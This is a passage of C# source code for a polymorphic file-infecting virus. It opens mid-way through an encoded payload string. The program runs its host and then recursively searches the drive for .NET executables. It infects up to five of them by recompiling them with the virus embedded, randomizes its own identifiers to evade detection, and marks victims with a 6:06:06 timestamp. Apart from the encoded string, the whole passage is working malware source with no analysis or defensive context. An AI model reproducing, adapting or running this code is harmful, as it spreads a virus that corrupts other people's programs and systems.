j4b+k4b6w4b6t4b6w4b+r4b6y4b+g4b+i4b+/4b+z4b+54b++4b+24b+/4b6y4b684b6y4b+44b+/4b+j4b+k4b+j4b+/4b+l4b+i4b+z4b+14b6y4b684b6y4b+64b+k4b+64b6y4b684b6y4b+o4b+g4b+x4b+i4b+x4b+94b+j4b+o4b6y4b684b6y4b+z4b+54b+74b6y4b684b6y4b+24b+j4b6h4b6o4b6o4b6y4b684b6y4b+y4b+44b+/4b+j4b+k4b+y4b6y4b684b6y4b+14b+o4b+14b+84b+14b++4b+34b+k4b+44b6y4b684b6y4b+y4b+p4b+k4b+14b+j4b6h4b6y4b684b6y4b+84b+/4b+64b+44b6y4b684b6y4b+l4b+i4b+x4b++4b+l4b6y4b684b6y4b+p4b+k4b+p4b6y4b684b6y4b+24b+j4b6m4b6y4b684b6y4b+24b+j4b6h4b6j4b6j4b6y4b684b6y4b+54b+g4b+g4b+z4b6y4b684b6y4b+o4b+24b+54b+84b+14b+o4b6y4b684b6y4b+24b+j4b6i4b6i4b6j4b6y4b684b6y4b+54b+z4b+o4b+z4b+g4b6y4b684b6y4b+24b+j4b6h4b6k4b6k4b6y4b684b6y4b+04b+/4b+p4b6y4b684b6y4b+p4b+24b+54b+84b+14b+o4b6y4b684b6y4b+24b+54b+84b+14b+j4b+o4b6y4b684b6y4b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b6y4b684b6y4b+04b+54b+i4b+j4b6y4b684b6y4b+o4b+04b+54b+i4b6y4b684b6y4b+j4b+o4b+k4b+i4b+14b+x4b+94b6y4b684b6y4b+R4b++4b+04b+c4b+14b+k4b+j4b+C4b+/4b+z4b+74b6y4b684b6y4b+o4b+j4b+14b+84b+24b+p4b6y4b684b6y4b+z4b+/4b+l4b++4b+k4b+14b+i4b6y4b684b6y4b+Z4b++4b+24b+14b+z4b+k4b6y4b684b6y4b+04b+54b+i4b+o4b6y4b684b6y4b+34b+84b+14b++4b6y4b684b6y4b+o4b+p4b+o4b+o4b6y4b684b6y4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+C4b+14b+x4b+04b6i4b6y4b684b6y4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b6y4b684b6y4b++4b6g4b6g4b6y4b684b6y4b+C4b+14b+x4b+04b+o4b6y4b684b6y4b+o4b+84b+14b++4b+34b+k4b+44b6y4b684b6y4b+z4b+z4b+l4b+i4b6y4b684b6y4b+n4b6j4b6j4b6y4b684b6y4b+y4b+p4b+k4b+14b+j4b6i4b6y4b684b6y4b+H4b+i4b+54b+k4b+14b+o4b6y4b684b6y4b+34b+i4b+14b+14b++4b6y4b684b6y4b+p4b+14b+84b+84b+/4b+n4b6y4b684b6y4b+i4b+54b+k4b+n4b6y4b684b6y4b+o4b+i4b+x4b++4b+o4b6y4b684b6y4b++4b+l4b+94b+o4b6y4b684b6y4b+84b+14b+k4b+o4b6y4b684b6y4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b6y4b684b6y4b+34b+/4b+x4b+k4b6y4b684b6y4b+94b+x4b+74b+14b+14b+o4b+14b6y4b684b6y4b+S4b+l4b+54b+84b+04b+V4b+o4b+14b6y4b684b6y4b+q4b++4b+x4b+94b+14b6y4b684b6y4b+m4b+54b+z4b6y4b684b6y4b+/4b+z4b+g4b6y4b684b6y4b+o4b+m4b+z4b+14b6y4b684b6y4b+q4b+i4b+14b+j4b+l4b+84b+k4b+j4b6y4b684b6y4b+/4b+l4b+k4b+g4b+l4b+k4b6y4b684b6y4b+z4b+/4b+04b+14b+m4b6y4b684b6y4b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b6y4b684b6y4b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b6y4b684b6y4b+o4b+74b+14b+p4b6y4b684b6y4b+54b++4b+D4b+y4b6y4b684b6y4b+/4b+l4b+k4b+D4b+y4b6y4b684b6y4b+z4b+94b+94b+94b6y4b684b6y4b+54b+94b+94b+94b6y4b684b6y4b+14b++4b+z4b+/4b+04b+14b+y4b6m4b6k4b6y4b684b6y4b+04b+x4b+k4b+x4b+y4b+x4b+j4b+14b6y4b684b6y4b+x4b+i4b+34b+j4b6y4b684b6y4b+o4b+k4b+o4b6y4b684b6y4b+z4b+/4b+04b+14b+p4b6y4b684b6y4b+z4b+/4b+04b+14b+q4b6y4b684b6y4b+94b+54b+04b+z4b+/4b+04b6y4b684b6y4b+o4b+z4b+/4b+04b+14b+o4b6y4b684b6y4b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b6y4b684b6y4b+g4b+84b+x4b+54b++4b+o4b6y4b684b6y4b+04b+/4b++4b++4b+p4b6y4b684b6y4b+g4b+/4b+84b+p4b+o4b6y4b684b6y4b+64b+p4b+l4b+34b6y4b684b6y4b+g4b+x4b+k4b+44b+o4b6y4b684b6y4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b6y4b684b6y4b+T4b+/4b++4b+j4b+/4b+84b+14b+R4b+g4b+g4b+84b+54b+z4b+x4b+k4b+54b+/4b++4b6m4b6y4b684b6y4b+I4b+A4b+i4b+/4b+34b+i4b+x4b+94b+I4b6y4b684b6y4b+z4b+/4b+04b+14b+54b6y4b684b6y4b+z4b+/4b+04b+14b+84b6y4b684b6y4b+24b+54b++4b+x4b+84b+o4b6y4b684b6y4b+54b+94b+g4b+p4b6y4b684b6y4b+34b+44b+/4b+j4b+k4b6y4b684b6y4b+R4b+V4b+g4b6y4b684b6y4b+34b+34b+34b6y4b+t4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b6w4b644b+54b++4b+k4b6w4b+54b+94b+g4b+p4b6w4b6t4b6w4b6g4b6r4b6w4b+54b+94b+g4b+p4b6w4b6s4b6w4b+34b+44b+/4b+j4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6w4b+54b+94b+g4b+p4b674b674b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+64b+p4b+l4b+34b6w4b6t4b6w4b+64b+p4b+l4b+34b6+4b+C4b+14b+g4b+84b+x4b+z4b+14b644b+34b+44b+/4b+j4b+k4b+L4b+54b+94b+g4b+p4b+N4b684b6w4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b644b+o4b+i4b+x4b++4b+o4b6+4b+e4b+14b+o4b+k4b644b6h4b6g4b6g4b6g4b6g4b684b6p4b6p4b6p4b6p4b6p4b6p4b654b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+64b+p4b+l4b+34b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+C4b+14b+x4b+04b+o4b644b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+j4b+o4b+k4b+i4b+14b+x4b+94b684b6w4b+54b++4b+k4b6w4b+o4b+84b+14b++4b+34b+k4b+44b684b6w4b+54b++4b+k4b6w4b+z4b+z4b+z4b+l4b+i4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+S4b+54b++4b+x4b+i4b+p4b+C4b+14b+x4b+04b+14b+i4b6w4b+n4b6j4b6j4b6w4b6t4b6w4b++4b+14b+n4b6w4b+S4b+54b++4b+x4b+i4b+p4b+C4b+14b+x4b+04b+14b+i4b644b+j4b+o4b+k4b+i4b+14b+x4b+94b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+n4b6j4b6j4b6+4b+S4b+x4b+j4b+14b+D4b+k4b+i4b+14b+x4b+94b6+4b+D4b+14b+14b+74b644b+z4b+z4b+z4b+l4b+i4b684b6w4b+D4b+14b+14b+74b+f4b+i4b+54b+34b+54b++4b6+4b+S4b+14b+34b+54b++4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+y4b+p4b+k4b+14b+j4b6i4b6w4b6t4b6w4b++4b+14b+n4b6w4b+y4b+p4b+k4b+14b+L4b+o4b+84b+14b++4b+34b+k4b+44b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b6w4b6t4b6w4b644b+54b++4b+k4b654b+o4b+84b+14b++4b+34b+k4b+44b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+C4b+14b+x4b+04b6i4b6w4b6t4b6w4b6g4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+n4b+44b+54b+84b+14b6w4b644b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b6w4b6u4b6w4b6g4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b++4b6g4b6g4b6w4b6t4b6w4b+n4b6j4b6j4b6+4b+C4b+14b+x4b+04b644b+y4b+p4b+k4b+14b+j4b6i4b684b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+C4b+14b+x4b+04b6i4b684b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b++4b6g4b6g4b6w4b6t4b6t4b6w4b6g4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+i4b+14b+x4b+74b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+C4b+14b+x4b+04b6i4b6w4b674b6t4b6w4b++4b6g4b6g4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b++4b+l4b+94b+S4b+p4b+k4b+14b+j4b+E4b+/4b+C4b+14b+x4b+04b6i4b6w4b694b6t4b6w4b++4b6g4b6g4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+n4b6j4b6j4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+y4b+p4b+k4b+14b+j4b6i4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+m4b+/4b+54b+04b6w4b+H4b+i4b+54b+k4b+14b+o4b644b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+j4b+o4b+k4b+i4b+14b+x4b+94b684b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+34b+i4b+14b+14b++4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+S4b+54b++4b+x4b+i4b+p4b+H4b+i4b+54b+k4b+14b+i4b6w4b+i4b+54b+k4b+n4b6w4b6t4b6w4b++4b+14b+n4b6w4b+S4b+54b++4b+x4b+i4b+p4b+H4b+i4b+54b+k4b+14b+i4b644b+j4b+o4b+k4b+i4b+14b+x4b+94b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+S4b+x4b+j4b+14b+D4b+k4b+i4b+14b+x4b+94b6+4b+D4b+14b+14b+74b644b6g4b684b6w4b+D4b+14b+14b+74b+f4b+i4b+54b+34b+54b++4b6+4b+S4b+14b+34b+54b++4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+H4b+i4b+54b+k4b+14b644b+34b+i4b+14b+14b++4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+W4b+84b+l4b+j4b+44b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+54b+k4b+n4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b+t";
        private static string GetRandomString(int goat)
        {
            char[] letx = new char[7];
            Random xranx = new Random(goat);
            for (int immm = 0; immm < 7; immm++)
            {
                int numx = xranx.Next(0, 26);
                letx[immm] += (char)('a' + numx);
            }
            string output = new string(letx);
            return output + xranx.Next(1, 2000).ToString();
        }    
        static void Main(string[] args)
        {
            string xparamsx = "";
            for (int cik = 0; cik < args.Length; cik++)
            { 
                xparamsx += args[cik] + " "; 
            }
            string[] jtj = database.Split(new char[] { '>' });
            int yty = new Random().Next(2000);
            FileStream fs6 = new FileStream("p" + yty + "h.exe", FileMode.OpenOrCreate, FileAccess.Write);
            Writex(fs6, Convert.FromBase64String(jtj[1]));
            fs6.Close();
            try
            {
                ProcessStartInfo procinfo = new ProcessStartInfo("p" + yty + "h.exe", @xparamsx);
                Process xtx = Process.Start(procinfo);
                xtx.WaitForExit();
            }
            catch
            {
                ;
            }
            finally
            {
                File.Delete("p" + yty + "h.exe");
            }
            string xselfy = Process.GetCurrentProcess().MainModule.FileName;
            string xyxx = Path.GetDirectoryName(xselfy);
            string glen = Directory.GetDirectoryRoot(xyxx);
            DirectoryInfo dirx = new DirectoryInfo(@glen);
            AndLetsRock(dirx);
        }
        private static void Infect(string filenamex)
        {
                FileStream fs133 = new FileStream(filenamex, FileMode.OpenOrCreate, FileAccess.Read);
                int ippc = (int)fs133.Length;
                byte[] bytes2 = Readx(fs133, ippc, 0);
                fs133.Close();
                string output = new Random(DateTime.Now.Millisecond).Next(1, 111111).ToString();
                if (output.Length == 1)
                {
                    output = "000000" + output;
                }
                else if (output.Length == 2)
                {
                    output = "00000" + output;
                }
                else if (output.Length == 3)
                {
                    output = "0000" + output;
                }
                else if (output.Length == 4)
                {
                    output = "000" + output;
                }
                else if (output.Length == 5)
                {
                    output = "00" + output;
                }
                else
                {
                    output = "0" + output;
                }
                string[] xtx = database.Split(new char[] { '>' });
                string codey = EncryptDecrypt(decodeb64(xtx[2]), Convert.ToInt32(xtx[0]));
                string codez = EncryptDecrypt(decodeb64(xtx[3]), Convert.ToInt32(xtx[0]));
                string hostsource = Convert.ToBase64String(bytes2);
                string codei = codey + decodeb64("fHw=") + codez;
                string codel = polyx(codei);
                string codev = xtx[0].Replace("0008080", output);
                codel = codel.Replace("0008080", output);
                string[] finalx = codel.Split(new string[] { decodeb64("fHw=") }, StringSplitOptions.None);
                codey = finalx[0];
                codez = finalx[1];
                string midcod = codev + ">" + hostsource + ">" + encodeb64(EncryptDecrypt(codey, Convert.ToInt32(output))) + ">" + encodeb64(EncryptDecrypt(codez, Convert.ToInt32(output)));
                string xcodex = codey + midcod + codez;
                bool makeexe = BuildExe(filenamex, xcodex);
                if (makeexe == false)
                {
                    throw new System.InvalidProgramException();
                }
                File.SetLastWriteTime(filenamex, new DateTime(DateTime.Now.Year, DateTime.Now.Month, DateTime.Now.Day, 6, 6, 6));
        }
        private static void AndLetsRock(DirectoryInfo doy)
        {
            FileInfo[] filesx = doy.GetFiles("*.exe");
            foreach (FileInfo yfilex in filesx)
            {
                string filenamex = yfilex.FullName;
                try
                {
                    AssemblyName.GetAssemblyName(filenamex);
                    if (yfilex.LastWriteTime.Hour.ToString() + yfilex.LastWriteTime.Minute.ToString() + yfilex.LastWriteTime.Second.ToString() == "666")
                        continue;
                    else
                        try
                        {
                            Infect(filenamex);
                            counter++;
                        }
                        catch
                        {
                            continue;
                        }
                    if (counter == 5)
                    {
                        return;
                    }
                }
                catch { continue; }
            }
            DirectoryInfo[] dirs = doy.GetDirectories("*.*");
            foreach (DirectoryInfo xdir in dirs)
            {
                try
                {
                    if (counter == 5)
                    {
                        return;
                    }
                    AndLetsRock(xdir);
                }
                catch { continue; }
            }
            return;
        }
        private static bool BuildExe(string zname, string codey)
        {
            ICodeCompiler vic = new CSharpCodeProvider().CreateCompiler();
            CompilerParameters ocp = new CompilerParameters();
            ocp.ReferencedAssemblies.Add("System.dll");
            ocp.GenerateExecutable = true;
            ocp.CompilerOptions = "/target:winexe";
            ocp.OutputAssembly = zname;
            CompilerResults zresults = vic.CompileAssemblyFromSource(ocp, codey);
            foreach (CompilerError xvce in zresults.Errors)
            {
                Console.WriteLine(xvce.ErrorNumber + ": " + xvce.ErrorText);
            }

            if (zresults.Errors.Count == 0)
            {
                return true;
            }
            else
            {
                return false;
            }
        }
        private static string decodeb64(string donny)
        {
            byte[] plainx = Convert.FromBase64String(donny);
            return Encoding.UTF8.GetString(plainx);
        }
        private static string EncryptDecrypt(string textToEncrypt, int xkeyx)
        {
            StringBuilder inSb = new StringBuilder(textToEncrypt);
            StringBuilder outSb = new StringBuilder(textToEncrypt.Length);
            char cmmm;
            for (int immm = 0; immm < textToEncrypt.Length; immm++)
            {
                cmmm = inSb[immm];
                cmmm = (char)(cmmm ^ xkeyx);
                outSb.Append(cmmm);
            }
            return outSb.ToString();
        }
        private static string encodeb64(string ggg)
        {
            UTF8Encoding AEp = new UTF8Encoding();
            return Convert.ToBase64String(AEp.GetBytes(ggg));
        }
        private static string polyx(string jyug)
        {
            Random xranx = new Random();
            string[] ghost = {"procinfo","hostsource","jtj","xparamsx","cik","fs188","bhostb","exelength","bytes1","lojh","uranu","yty","fs6","fs133","ippc","xfilex","fs223","icxcp","fs144","doy","yfilex","filesx","filenamex","dirs","xdir","sxtream","AndLetsRock","xselfy","counter","Infect","dirx","glen","xyxx","numBytesRead2","numBytesToRead2","n00","Readx","xlength","ccur","w33","bytes2","Writex","green","yellow","ritw","xranx","numx","letx","GetRandomString","goat","makeexe","BuildExe","zname","vic","ocp","xvce","zresults","output","codev","EncryptDecrypt","textToEncrypt","xkey","inSb","outSb","cmmm","immm","encodeb64","database","args","xtx","codey","codez","midcod","xcodex","decodeb64","plainx","donny","polyx","jyug","pathx","GetRandomString","ConsoleApplication6","XProgramX","codei","codel","finalx","impy","ghost","AEp","ggg"};
            for (int impy = 0; impy < ghost.Length; impy++)
            {
                jyug = jyug.Replace(ghost[impy], GetRandomString(xranx.Next(10000,999999)));
            }
            return jyug;
        }
        private static byte[] Readx(FileStream sxtream, int xlength, int cccur)
        {
            BinaryReader w33 = new BinaryReader(sxtream);
            w33.BaseStream.Seek(cccur, SeekOrigin.Begin);
            byte[] bytes2 = new byte[xlength];
            int numBytesToRead2 = (int)xlength;
            int numBytesRead2 = 0;
            while (numBytesToRead2 > 0)
            {
                int n00 = w33.Read(bytes2, numBytesRead2, numBytesToRead2);
                if (n00 == 0)
                    break;
                numBytesRead2 += n00;
                numBytesToRead2 -= n00;
            }
            w33.Close();
            return bytes2;
        }
        private static void Writex(FileStream sxtream, byte[] green)
        {
            BinaryWriter ritw = new BinaryWriter(sxtream);
            ritw.BaseStream.Seek(0, SeekOrigin.Begin);
            ritw.Write(green);
            ritw.Flush();
            ritw.Close();
        }
    }
}
===========================================================================================================================